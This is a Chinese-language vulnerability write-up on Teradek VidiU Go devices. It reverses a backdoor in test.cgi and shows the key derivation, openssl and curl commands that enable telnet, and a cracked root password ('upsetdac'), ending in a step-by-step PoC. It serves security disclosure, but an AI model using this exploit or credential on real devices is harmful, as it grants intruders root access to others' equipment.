基本介绍
https://teradek.com/collections/vidiu-go-family
Teradek IP视频设备是现场流媒体设备,能够将视频输入(如SDI、HDMI等)编码为各种流媒体格式,能够进行以太网传输。
测试说明
该设备有一个以太网接口,有一个Web管理界面,默认情况下可在http://ip上访问。
Web管理界面受用户定义的密码保护。
- 下载官方固件
https://teradek.com/pages/downloads
VidiU Go设备的固件是建立在ARM64 Linux内核上
- 解压固件
https://github.com/plougher/squashfs-tools
- 其他说明
1.内置了Lighttpd Web服务器
2.根路径是在/home/www
3./home/www/cgi-bin包含.cgi二进制文件
在/usr/lib文件夹中也有重要的依赖项(如.so库)
4.重点关注/home/www/cgi-bin/test.cgi中的后门访问功能
- 使用ghidra逆向函数
https://github.com/NationalSecurityAgency/ghidra/
1.无需认证即可访问http://ip/cgi-bin/test.cgi
2.用GET参数command=remote-access test.cgi
调用/usr/share/system/remote-access.sh
3.脚本/usr/share/system/remote-access.sh
可以启动/停止telnetd
任何人都可以通过网络访问设备上的23/tcp端口。
4.为了使用command=remote-access
应该提供一个合适的密钥参数,与td_license_create("tdtest", 0, 0)
相比较。
- 反转加密函数显示密钥计算如下:
td_license_create(“tdtest”, 0, 0) = SHA1(SHA512(“0x5f3759df<MAC_ADDRESS_OF_DEVICE>tdtest”))
这意味着密钥计算所需的一切都硬编码在通用固件中,只有MAC地址部分取决于设备。
由于同一LAN中的人很容易知道MAC地址,因此可以计算出打开telnet接口的密钥。
- 启用Telnet接口
密钥可以用OpenSSL命令来计算(以MAC地址DE:AD:BE:EF:00:00为例)
代码语言:javascript复制echo -n 0x5f3759dfDE:AD:BE:EF:00:00tdtest | openssl dgst -sha512 -binary — | openssl dgst -sha1 — | cut -d’ ‘ -f2
结果是:2f1a4cf8d815c99f70268c0873c9dffb13015052
现在可以使用以下GET请求启用telnet接口(假设设备IP为192.168.0.10):
代码语言:javascript复制curl 'http://192.168.0.10/cgi-bin/test.cgi?key=2f1a4cf8d815c99f70268c0873c9dffb13015052&command=remote-access&enable=1'
HTTP响应是500(如果密钥错误则为404),但Telnet接口已启用。如果要禁用,只需使用enable=0
curl 'http://192.168.0.10/cgi-bin/test.cgi?key=2f1a4cf8d815c99f70268c0873c9dffb13015052&command=remote-access&enable=0'
- 凭证信息
根凭据。现在Telnet已启用,连接时会给出登录提示。有关凭据,可在固件映像中查找/etc/shadow
root:HjMedVB3oPf0o:11851:0:99999:7:::
这是一个传统的弱Unix crypt()DES哈希值,在很短的时间内(3天)可以100%破解。
此外,在破解之后,密码被证明是非常弱的
破解后的root权限凭证
代码语言:javascript复制root:upsetdac
POC
1.枚举MAC地址(DE:AD:BE:EF:00:00)
2.计算密钥:echo -n 0x5f3759dfDE:AD:BE:EF:00:00tdtest | openssl dgst -sha512 -binary - | openssl dgst -sha1 - | cut -d' ' -f2
结果是2f1a4cf8d815c99f70268c0873c9dffb13015052
3.启动Telnetcurl ‘http://192.168.0.10/cgi-bin/test.cgi?key=2f1a4cf8d815c99f70268c0873c9dffb13015052&command=remote-access&enable=1'
4.登录Telnet:192.168.0.10
,用户为root
,密码为upsetdac